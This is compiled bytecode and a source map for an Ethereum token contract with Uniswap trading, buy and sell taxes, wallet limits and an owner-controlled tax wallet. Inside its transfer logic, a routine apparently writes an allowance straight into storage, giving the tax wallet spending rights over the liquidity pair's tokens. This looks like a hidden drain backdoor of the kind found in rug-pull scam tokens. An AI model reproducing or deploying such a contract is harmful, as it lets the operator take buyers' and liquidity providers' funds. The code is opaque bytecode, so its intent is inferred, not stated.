331461063c5760405162461bcd60e51b815260040161040890611810565b5f54600160a01b900460ff16156106955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610408565b6011546001600160a01b031663f305d71947306106c6816001600160a01b03165f9081526001602052604090205490565b5f806106d95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561073f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107649190611845565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dd9190611870565b505f805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461081f5760405162461bcd60e51b815260040161040890611810565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086990309061085a6009600a6117eb565b610532906461f313f8806117f9565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dd919061188f565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610960919061188f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ce919061188f565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610408565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610408565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610408565b6001600160a01b038216610bd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610408565b5f8111610c3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610408565b5f8054600160b01b900460ff161580610c5b57505f54600160a81b900460ff165b15610d13576001600160a01b0384165f90815260016020526040902054610c839083906118aa565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cb29083906118bd565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d059086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3d57505f546001600160a01b03848116911614155b15611076576012546001600160a01b038581169116148015610d6d57506011546001600160a01b03848116911614155b8015610d9157506001600160a01b0383165f9081526003602052604090205460ff16155b15610ef5575f54600160a01b900460ff16610de65760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610408565b610e126064610e0c600c54600f5411610e0157600854610e05565b600a545b8590611218565b9061129d565b9050600454821115610e665760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d6178416d6f756e74542e00000000000000006044820152606401610408565b60055482610e88856001600160a01b03165f9081526001602052604090205490565b610e9291906118bd565b1115610ee05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610408565b600f8054905f610eef836118d0565b91905055505b6012546001600160a01b03848116911614801590610f2b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610faa5760055482610f52856001600160a01b03165f9081526001602052604090205490565b610f5c91906118bd565b1115610faa5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610408565b6012546001600160a01b0390811690841603610fe857610fe56064610e0c600d54600f5411610fdb57600954610e05565b600b548590611218565b90505b5f54600160a81b900460ff1615801561100e57506012546001600160a01b038481169116145b801561102257505f54600160b01b900460ff165b80156110315750600e54600f54115b1561107657305f9081526001602052604090205460065481111561106c5761106c61106784611062846007546112de565b6112de565b6112f2565b611074611460565b505b604080518082019091526012546001600160a01b0390811682526010541660208201526110a290611496565b80156110ad57505f81115b1561112457305f908152600160205260409020546110cb9082611529565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111b9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111469083611587565b6001600160a01b0385165f9081526001602052604090205561118961116b8383611587565b6001600160a01b0385165f9081526001602052604090205490611529565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d28585611587565b604051908152602001610d05565b5f81848411156112035760405162461bcd60e51b815260040161040891906115f4565b505f61120f84866118aa565b95945050505050565b5f825f0361122757505f6103b8565b5f61123283856117f9565b90508261123f85836118e8565b146112965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610408565b9392505050565b5f61129683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c8565b5f8183116112ec5782611296565b50919050565b5f805460ff60a81b1916600160a81b178155604080516002808252606082018352909160208301908036833701905050905030815f8151811061133757611337611907565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b2919061188f565b816001815181106113c5576113c5611907565b6001600160a01b0392831660209182029290920101526011546113eb91309116846109f0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114239085905f9086903090429060040161191b565b5f604051808303815f87803b15801561143a575f80fd5b505af115801561144c573d5f803e3d5ffd5b50505f805460ff60a81b1916905550505050565b6010546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610604573d5f803e3d5ffd5b5f60646114d1609660326114b6606460045461152990919063ffffffff16565b6114c19060966118bd565b6114cb91906118aa565b90611218565b6114dc9060966118bd565b6114e691906118aa565b6114f2906101f46118bd565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f8061153583856118bd565b9050838110156112965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610408565b5f61129683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e0565b5f81836115e85760405162461bcd60e51b815260040161040891906115f4565b505f61120f84866118e8565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610604575f80fd5b5f806040838503121561164e575f80fd5b823561165981611629565b946020939093013593505050565b5f60208284031215611677575f80fd5b813561129681611629565b5f805f60608486031215611694575f80fd5b833561169f81611629565b925060208401356116af81611629565b929592945050506040919091013590565b5f80604083850312156116d1575f80fd5b82356116dc81611629565b915060208301356116ec81611629565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174557815f190482111561172b5761172b6116f7565b8085161561173857918102915b93841c9390800290611710565b509250929050565b5f8261175b575060016103b8565b8161176757505f6103b8565b816001811461177d5760028114611787576117a3565b60019150506103b8565b60ff841115611798576117986116f7565b50506001821b6103b8565b5060208310610133831016604e8410600b84101617156117c6575081810a6103b8565b6117d0838361170b565b805f19048211156117e3576117e36116f7565b029392505050565b5f61129660ff84168361174d565b80820281158282048414176103b8576103b86116f7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611857575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611880575f80fd5b81518015158114611296575f80fd5b5f6020828403121561189f575f80fd5b815161129681611629565b818103818111156103b8576103b86116f7565b808201808211156103b8576103b86116f7565b5f600182016118e1576118e16116f7565b5060010190565b5f8261190257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561196b5784516001600160a01b031683529383019391830191600101611946565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6c7914bd6d1e212c3aca68da5c170b27f361fdf9efd47281ce2230ceef7c3d864736f6c63430008190033

3629:7556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4280:46;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4280:46:0;;;;;;;;5673:83;;;;;;;;;;-1:-1:-1;5743:5:0;;;;;;;;;;;;;;;;;5673:83;;;;;;;:::i;6809:161::-;;;;;;;;;;-1:-1:-1;6809:161:0;;;;;:::i;:::-;;:::i;:::-;;;1240:14:1;;1233:22;1215:41;;1203:2;1188:18;6809:161:0;1075:187:1;4392:46:0;;;;;;;;;;;;;;;;5944:95;;;;;;;;;;;;;:::i;10017:244::-;;;;;;;;;;-1:-1:-1;10017:244:0;;;;;:::i;:::-;;:::i;:::-;;6490:313;;;;;;;;;;-1:-1:-1;6490:313:0;;;;;:::i;:::-;;:::i;5855:83::-;;;;;;;;;;-1:-1:-1;5855:83:0;;4023:1;2130:36:1;;2118:2;2103:18;5855:83:0;1988:184:1;6045:117:0;;;;;;;;;;-1:-1:-1;6045:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6138:16:0;6111:7;6138:16;;;:7;:16;;;;;;;6045:117;2624:148;;;;;;;;;;;;;:::i;2414:79::-;;;;;;;;;;-1:-1:-1;2452:7:0;2479:6;2414:79;;-1:-1:-1;;;;;2479:6:0;;;2575:51:1;;2563:2;2548:18;2414:79:0;2429:203:1;5762:87:0;;;;;;;;;;-1:-1:-1;5834:7:0;;;;;;;;;;;;-1:-1:-1;;;5834:7:0;;;;5762:87;;4227:46;;;;;;;;;;;;;;;;10456:114;;;;;;;;;;;;;:::i;6168:167::-;;;;;;;;;;-1:-1:-1;6168:167:0;;;;;:::i;:::-;;:::i;4333:52::-;;;;;;;;;;;;;;;;10716:466;;;;;;;;;;;;;:::i;6341:143::-;;;;;;;;;;-1:-1:-1;6341:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6449:18:0;;;6422:7;6449:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6341:143;5306:361;;;;;;;;;;;;;:::i;6809:161::-;6884:4;6901:39;271:10;6924:7;6933:6;6901:8;:39::i;:::-;-1:-1:-1;6958:4:0;6809:161;;;;;:::o;5944:95::-;5997:7;4081:15;4023:1;4081:2;:15;:::i;:::-;4066:30;;:12;:30;:::i;:::-;6017:14;;5944:95;:::o;10017:244::-;2539:6;;-1:-1:-1;;;;;2539:6:0;271:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;;;;;;;;;10090:11:::1;:19:::0;;-1:-1:-1;;;;;;10090:19:0::1;-1:-1:-1::0;;;;;10090:19:0;::::1;;::::0;;4081:15:::1;4023:1;4081:2;:15;:::i;:::-;4066:30;::::0;:12:::1;:30;:::i;:::-;10120:11;:19:::0;4081:15:::1;4023:1;4081:2;:15;:::i;:::-;4066:30;::::0;:12:::1;:30;:::i;:::-;10150:11;:19:::0;-1:-1:-1;;;;;10180:23:0;::::1;;::::0;;;:16:::1;:23;::::0;;;;:30;;-1:-1:-1;;10180:30:0::1;10206:4;10180:30;::::0;;10226:27:::1;4081:15;4023:1;4081:2;:15;:::i;:::-;4066:30;::::0;:12:::1;:30;:::i;:::-;10226:27;::::0;160:25:1;;;148:2;133:18;10226:27:0::1;;;;;;;10017:244:::0;:::o;6490:313::-;6588:4;6605:36;6615:6;6623:9;6634:6;6605:9;:36::i;:::-;6652:121;6661:6;271:10;6683:89;6721:6;6683:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6683:19:0;;;;;;:11;:19;;;;;;;;271:10;6683:33;;;;;;;;;;:37;:89::i;:::-;6652:8;:121::i;:::-;-1:-1:-1;6791:4:0;6490:313;;;;;:::o;2624:148::-;2539:6;;-1:-1:-1;;;;;2539:6:0;271:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;2731:1:::1;2715:6:::0;;2694:40:::1;::::0;-1:-1:-1;;;;;2715:6:0;;::::1;::::0;2694:40:::1;::::0;2731:1;;2694:40:::1;2762:1;2745:19:::0;;-1:-1:-1;;;;;;2745:19:0::1;::::0;;2624:148::o;10456:114::-;2539:6;;-1:-1:-1;;;;;2539:6:0;271:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;10509:53:::1;::::0;271:10;;10540:21:::1;10509:53:::0;::::1;;;::::0;::::1;::::0;;;10540:21;271:10;10509:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10456:114::o:0;6168:167::-;6246:4;6263:42;271:10;6287:9;6298:6;6263:9;:42::i;10716:466::-;2539:6;;-1:-1:-1;;;;;2539:6:0;271:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;10776:11:::1;::::0;-1:-1:-1;;;10776:11:0;::::1;;;10775:12;10767:48;;;::::0;-1:-1:-1;;;10767:48:0;;5275:2:1;10767:48:0::1;::::0;::::1;5257:21:1::0;5314:2;5294:18;;;5287:30;5353:25;5333:18;;;5326:53;5396:18;;10767:48:0::1;5073:347:1::0;10767:48:0::1;10826:10;::::0;-1:-1:-1;;;;;10826:10:0::1;:26;10860:21;10905:4;10925:24;10905:4:::0;-1:-1:-1;;;;;6138:16:0;6111:7;6138:16;;;:7;:16;;;;;;;6045:117;10925:24:::1;10964:1;10980::::0;10996:7:::1;2452::::0;2479:6;-1:-1:-1;;;;;2479:6:0;;2414:79;10996:7:::1;10826:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10826:218:0;;;-1:-1:-1;;;;;5784:15:1;;;10826:218:0::1;::::0;::::1;5766:34:1::0;5816:18;;;5809:34;;;;5859:18;;;5852:34;;;;5902:18;;;5895:34;5966:15;;;5945:19;;;5938:44;11018:15:0::1;5998:19:1::0;;;5991:35;5700:19;;10826:218:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11062:8:0::1;::::0;11088:10:::1;::::0;11055:61:::1;::::0;-1:-1:-1;;;11055:61:0;;-1:-1:-1;;;;;11088:10:0;;::::1;11055:61;::::0;::::1;6522:51:1::0;-1:-1:-1;;6589:18:1;;;6582:34;11062:8:0;::::1;::::0;-1:-1:-1;11055:24:0::1;::::0;6495:18:1;;11055:61:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11127:11:0::1;:18:::0;;-1:-1:-1;;;;11156:18:0;-1:-1:-1;;;11156:18:0;;;10716:466::o;5306:361::-;2539:6;;-1:-1:-1;;;;;2539:6:0;271:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;5353:10:::1;:99:::0;;-1:-1:-1;;;;;;5353:99:0::1;5399:42;5353:99:::0;;::::1;::::0;;;5463:53:::1;::::0;5480:4:::1;::::0;4081:15:::1;4023:1;4081:2;:15;:::i;:::-;4066:30;::::0;:12:::1;:30;:::i;5463:53::-;5556:10;;;;;;;;;-1:-1:-1::0;;;;;5556:10:0::1;-1:-1:-1::0;;;;;5556:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5538:50:0::1;;5611:4;5631:10;;;;;;;;;-1:-1:-1::0;;;;;5631:10:0::1;-1:-1:-1::0;;;;;5631:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5538:121;::::0;-1:-1:-1;;;;;;5538:121:0::1;::::0;;;;;;-1:-1:-1;;;;;7395:15:1;;;5538:121:0::1;::::0;::::1;7377:34:1::0;7447:15;;7427:18;;;7420:43;7312:18;;5538:121:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5527:8;:132:::0;;-1:-1:-1;;;;;;5527:132:0::1;-1:-1:-1::0;;;;;5527:132:0;;;::::1;::::0;;;::::1;::::0;;5306:361::o;6976:335::-;-1:-1:-1;;;;;7069:19:0;;7061:68;;;;-1:-1:-1;;;7061:68:0;;7676:2:1;7061:68:0;;;7658:21:1;7715:2;7695:18;;;7688:30;7754:34;7734:18;;;7727:62;-1:-1:-1;;;7805:18:1;;;7798:34;7849:19;;7061:68:0;7474:400:1;7061:68:0;-1:-1:-1;;;;;7148:21:0;;7140:68;;;;-1:-1:-1;;;7140:68:0;;8081:2:1;7140:68:0;;;8063:21:1;8120:2;8100:18;;;8093:30;8159:34;8139:18;;;8132:62;-1:-1:-1;;;8210:18:1;;;8203:32;8252:19;;7140:68:0;7879:398:1;7140:68:0;-1:-1:-1;;;;;7219:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7271:32;;160:25:1;;;7271:32:0;;133:18:1;7271:32:0;;;;;;;6976:335;;;:::o;7768:2147::-;-1:-1:-1;;;;;7856:18:0;;7848:68;;;;-1:-1:-1;;;7848:68:0;;8484:2:1;7848:68:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:34;8542:18;;;8535:62;-1:-1:-1;;;8613:18:1;;;8606:35;8658:19;;7848:68:0;8282:401:1;7848:68:0;-1:-1:-1;;;;;7935:16:0;;7927:64;;;;-1:-1:-1;;;7927:64:0;;8890:2:1;7927:64:0;;;8872:21:1;8929:2;8909:18;;;8902:30;8968:34;8948:18;;;8941:62;-1:-1:-1;;;9019:18:1;;;9012:33;9062:19;;7927:64:0;8688:399:1;7927:64:0;8019:1;8010:6;:10;8002:64;;;;-1:-1:-1;;;8002:64:0;;9294:2:1;8002:64:0;;;9276:21:1;9333:2;9313:18;;;9306:30;9372:34;9352:18;;;9345:62;-1:-1:-1;;;9423:18:1;;;9416:39;9472:19;;8002:64:0;9092:405:1;8002:64:0;8077:17;8112:11;;-1:-1:-1;;;8112:11:0;;;;8111:12;;:22;;-1:-1:-1;8127:6:0;;-1:-1:-1;;;8127:6:0;;;;8111:22;8107:209;;;-1:-1:-1;;;;;8166:13:0;;;;;;:7;:13;;;;;;:22;;8182:6;;8166:22;:::i;:::-;-1:-1:-1;;;;;8150:13:0;;;;;;;:7;:13;;;;;;:38;;;;8217:11;;;;;;;:20;;8231:6;;8217:20;:::i;:::-;-1:-1:-1;;;;;8203:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8257:26;;;;;;;;;;8276:6;160:25:1;;148:2;133:18;;14:177;8257:26:0;;;;;;;;8298:7;7768:2147;;;:::o;8107:209::-;2452:7;2479:6;-1:-1:-1;;;;;8330:15:0;;;2479:6;;8330:15;;;;:32;;-1:-1:-1;2452:7:0;2479:6;-1:-1:-1;;;;;8349:13:0;;;2479:6;;8349:13;;8330:32;8326:1213;;;8391:8;;-1:-1:-1;;;;;8383:16:0;;;8391:8;;8383:16;:45;;;;-1:-1:-1;8417:10:0;;-1:-1:-1;;;;;8403:25:0;;;8417:10;;8403:25;;8383:45;:71;;;;-1:-1:-1;;;;;;8434:20:0;;;;;;:16;:20;;;;;;;;8432:22;8383:71;8379:466;;;8483:11;;-1:-1:-1;;;8483:11:0;;;;8475:44;;;;-1:-1:-1;;;8475:44:0;;9967:2:1;8475:44:0;;;9949:21:1;10006:2;9986:18;;;9979:30;-1:-1:-1;;;10025:18:1;;;10018:51;10086:18;;8475:44:0;9765:345:1;8475:44:0;8550:76;8622:3;8550:67;8572:15;;8562:9;;:25;8561:55;;8602:14;;8561:55;;;8589:12;;8561:55;8550:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8538:88;;8663:11;;8653:6;:21;;8645:58;;;;-1:-1:-1;;;8645:58:0;;10317:2:1;8645:58:0;;;10299:21:1;10356:2;10336:18;;;10329:30;10395:26;10375:18;;;10368:54;10439:18;;8645:58:0;10115:348:1;8645:58:0;8756:11;;8746:6;8730:13;8740:2;-1:-1:-1;;;;;6138:16:0;6111:7;6138:16;;;:7;:16;;;;;;;6045:117;8730:13;:22;;;;:::i;:::-;:37;;8722:76;;;;-1:-1:-1;;;8722:76:0;;10670:2:1;8722:76:0;;;10652:21:1;10709:2;10689:18;;;10682:30;10748:28;10728:18;;;10721:56;10794:18;;8722:76:0;10468:350:1;8722:76:0;8817:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8379:466;8869:8;;-1:-1:-1;;;;;8863:14:0;;;8869:8;;8863:14;;;;:40;;-1:-1:-1;;;;;;8883:20:0;;;;;;:16;:20;;;;;;;;8881:22;8863:40;8859:157;;;8958:11;;8948:6;8932:13;8942:2;-1:-1:-1;;;;;6138:16:0;6111:7;6138:16;;;:7;:16;;;;;;;6045:117;8932:13;:22;;;;:::i;:::-;:37;;8924:76;;;;-1:-1:-1;;;8924:76:0;;10670:2:1;8924:76:0;;;10652:21:1;10709:2;10689:18;;;10682:30;10748:28;10728:18;;;10721:56;10794:18;;8924:76:0;10468:350:1;8924:76:0;9039:8;;-1:-1:-1;;;;;9039:8:0;;;9033:14;;;;9030:145;;9080:79;9155:3;9080:70;9102:16;;9092:9;;:26;9091:58;;9134:15;;9091:58;;;9120:13;;9080:6;;:10;:70::i;:79::-;9068:91;;9030:145;9194:6;;-1:-1:-1;;;9194:6:0;;;;9193:7;:25;;;;-1:-1:-1;9210:8:0;;-1:-1:-1;;;;;9204:14:0;;;9210:8;;9204:14;9193:25;:40;;;;-1:-1:-1;9222:11:0;;-1:-1:-1;;;9222:11:0;;;;9193:40;:72;;;;;9247:18;;9237:9;;:28;9193:72;9189:339;;;9335:4;9286:28;6138:16;;;:7;:16;;;;;;9384:17;;9363:38;;9360:123;;;9424:59;9433:49;9437:6;9444:37;9448:20;9469:11;;9444:3;:37::i;:::-;9433:3;:49::i;:::-;9424:8;:59::i;:::-;9502:10;:8;:10::i;:::-;9267:261;9189:339;9552:30;;;;;;;;;9559:8;;-1:-1:-1;;;;;9559:8:0;;;9552:30;;9569:11;;;9552:30;;;;;;:5;:30::i;:::-;:45;;;;;9596:1;9586:9;:11;9552:45;9549:191;;;9650:4;9634:22;;;;:7;:22;;;;;;:37;;9661:9;9634:26;:37::i;:::-;9627:4;9611:22;;;;:7;:22;;;;;;;:60;;;;9689:39;;-1:-1:-1;;;;;9689:39:0;;;;;;;9718:9;160:25:1;;148:2;133:18;;14:177;9689:39:0;;;;;;;;9549:191;-1:-1:-1;;;;;9764:13:0;;;;;;:7;:13;;;;;;:25;;9782:6;9764:17;:25::i;:::-;-1:-1:-1;;;;;9750:13:0;;;;;;:7;:13;;;;;:39;9812:38;9828:21;:6;9839:9;9828:10;:21::i;:::-;-1:-1:-1;;;;;9812:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9800:11:0;;;;;;;:7;:11;;;;;:50;;;;9866:41;;;9885:21;:6;9896:9;9885:10;:21::i;:::-;9866:41;;160:25:1;;;148:2;133:18;9866:41:0;14:177:1;645:190:0;731:7;767:12;759:6;;;;751:29;;;;-1:-1:-1;;;751:29:0;;;;;;;;:::i;:::-;-1:-1:-1;791:9:0;803:5;807:1;803;:5;:::i;:::-;791:17;645:190;-1:-1:-1;;;;;645:190:0:o;841:246::-;899:7;923:1;928;923:6;919:47;;-1:-1:-1;953:1:0;946:8;;919:47;976:9;988:5;992:1;988;:5;:::i;:::-;976:17;-1:-1:-1;1021:1:0;1012:5;1016:1;976:17;1012:5;:::i;:::-;:10;1004:56;;;;-1:-1:-1;;;1004:56:0;;11387:2:1;1004:56:0;;;11369:21:1;11426:2;11406:18;;;11399:30;11465:34;11445:18;;;11438:62;-1:-1:-1;;;11516:18:1;;;11509:31;11557:19;;1004:56:0;11185:397:1;1004:56:0;1078:1;841:246;-1:-1:-1;;;841:246:0:o;1093:132::-;1151:7;1178:39;1182:1;1185;1178:39;;;;;;;;;;;;;;;;;:3;:39::i;10576:99::-;10632:7;10661:1;10659;:3;10658:9;;10666:1;10658:9;;;-1:-1:-1;10664:1:0;10576:99;-1:-1:-1;10576:99:0:o;7317:445::-;4847:6;:13;;-1:-1:-1;;;;4847:13:0;-1:-1:-1;;;4847:13:0;;;7406:16:::1;::::0;;7420:1:::1;7406:16:::0;;;;;::::1;::::0;;;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7406:16:0::1;7382:40;;7451:4;7433;7438:1;7433:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7433:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7477:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;7477:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;7433:7;;7477:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7467:4;7472:1;7467:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7467:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;7537:10:::1;::::0;7505:52:::1;::::0;7522:4:::1;::::0;7537:10:::1;7550:6:::0;7505:8:::1;:52::i;:::-;7568:10;::::0;:186:::1;::::0;-1:-1:-1;;;7568:186:0;;-1:-1:-1;;;;;7568:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;7644:6;;7568:10:::1;::::0;7681:4;;7708::::1;::::0;7728:15:::1;::::0;7568:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4892:5:0;4883:14;;-1:-1:-1;;;;4883:14:0;;;-1:-1:-1;;;;7317:445:0:o;9921:90::-;9960:11;;:43;;-1:-1:-1;;;;;9960:11:0;;;;9981:21;9960:43;;;;;:11;:43;:11;:43;9981:21;9960:11;:43;;;;;;;;;;;;;;;;;;;10267:183;10322:4;10412:3;10373:38;10407:3;10399:2;10378:20;10394:3;10378:11;;:15;;:20;;;;:::i;:::-;10374:24;;:3;:24;:::i;:::-;:27;;;;:::i;:::-;10373:33;;:38::i;:::-;10369:42;;:3;:42;:::i;:::-;:46;;;;:::i;:::-;10368:52;;10417:3;10368:52;:::i;:::-;10350:7;;-1:-1:-1;;;;;10338:20:0;;;;;;;:11;10350:7;10338:20;;;;;;;10359:7;;;;10338:29;;;;;;;;;;;;:82;;;;-1:-1:-1;10364:1:0;;10267:183::o;318:179::-;376:7;;408:5;412:1;408;:5;:::i;:::-;396:17;;437:1;432;:6;;424:46;;;;-1:-1:-1;;;424:46:0;;13038:2:1;424:46:0;;;13020:21:1;13077:2;13057:18;;;13050:30;13116:29;13096:18;;;13089:57;13163:18;;424:46:0;12836:351:1;503:136:0;561:7;588:43;592:1;595;588:43;;;;;;;;;;;;;;;;;:3;:43::i;1231:189::-;1317:7;1352:12;1345:5;1337:28;;;;-1:-1:-1;;;1337:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1376:9:0;1388:5;1392:1;1388;:5;:::i;196:418:1:-;345:2;334:9;327:21;308:4;377:6;371:13;420:6;415:2;404:9;400:18;393:34;479:6;474:2;466:6;462:15;457:2;446:9;442:18;436:50;535:1;530:2;521:6;510:9;506:22;502:31;495:42;605:2;598;594:7;589:2;581:6;577:15;573:29;562:9;558:45;554:54;546:62;;;196:418;;;;:::o;619:131::-;-1:-1:-1;;;;;694:31:1;;684:42;;674:70;;740:1;737;730:12;755:315;823:6;831;884:2;872:9;863:7;859:23;855:32;852:52;;;900:1;897;890:12;852:52;939:9;926:23;958:31;983:5;958:31;:::i;:::-;1008:5;1060:2;1045:18;;;;1032:32;;-1:-1:-1;;;755:315:1:o;1267:255::-;1334:6;1387:2;1375:9;1366:7;1362:23;1358:32;1355:52;;;1403:1;1400;1393:12;1355:52;1442:9;1429:23;1461:31;1486:5;1461:31;:::i;1527:456::-;1604:6;1612;1620;1673:2;1661:9;1652:7;1648:23;1644:32;1641:52;;;1689:1;1686;1679:12;1641:52;1728:9;1715:23;1747:31;1772:5;1747:31;:::i;:::-;1797:5;-1:-1:-1;1854:2:1;1839:18;;1826:32;1867:33;1826:32;1867:33;:::i;:::-;1527:456;;1919:7;;-1:-1:-1;;;1973:2:1;1958:18;;;;1945:32;;1527:456::o;2637:388::-;2705:6;2713;2766:2;2754:9;2745:7;2741:23;2737:32;2734:52;;;2782:1;2779;2772:12;2734:52;2821:9;2808:23;2840:31;2865:5;2840:31;:::i;:::-;2890:5;-1:-1:-1;2947:2:1;2932:18;;2919:32;2960:33;2919:32;2960:33;:::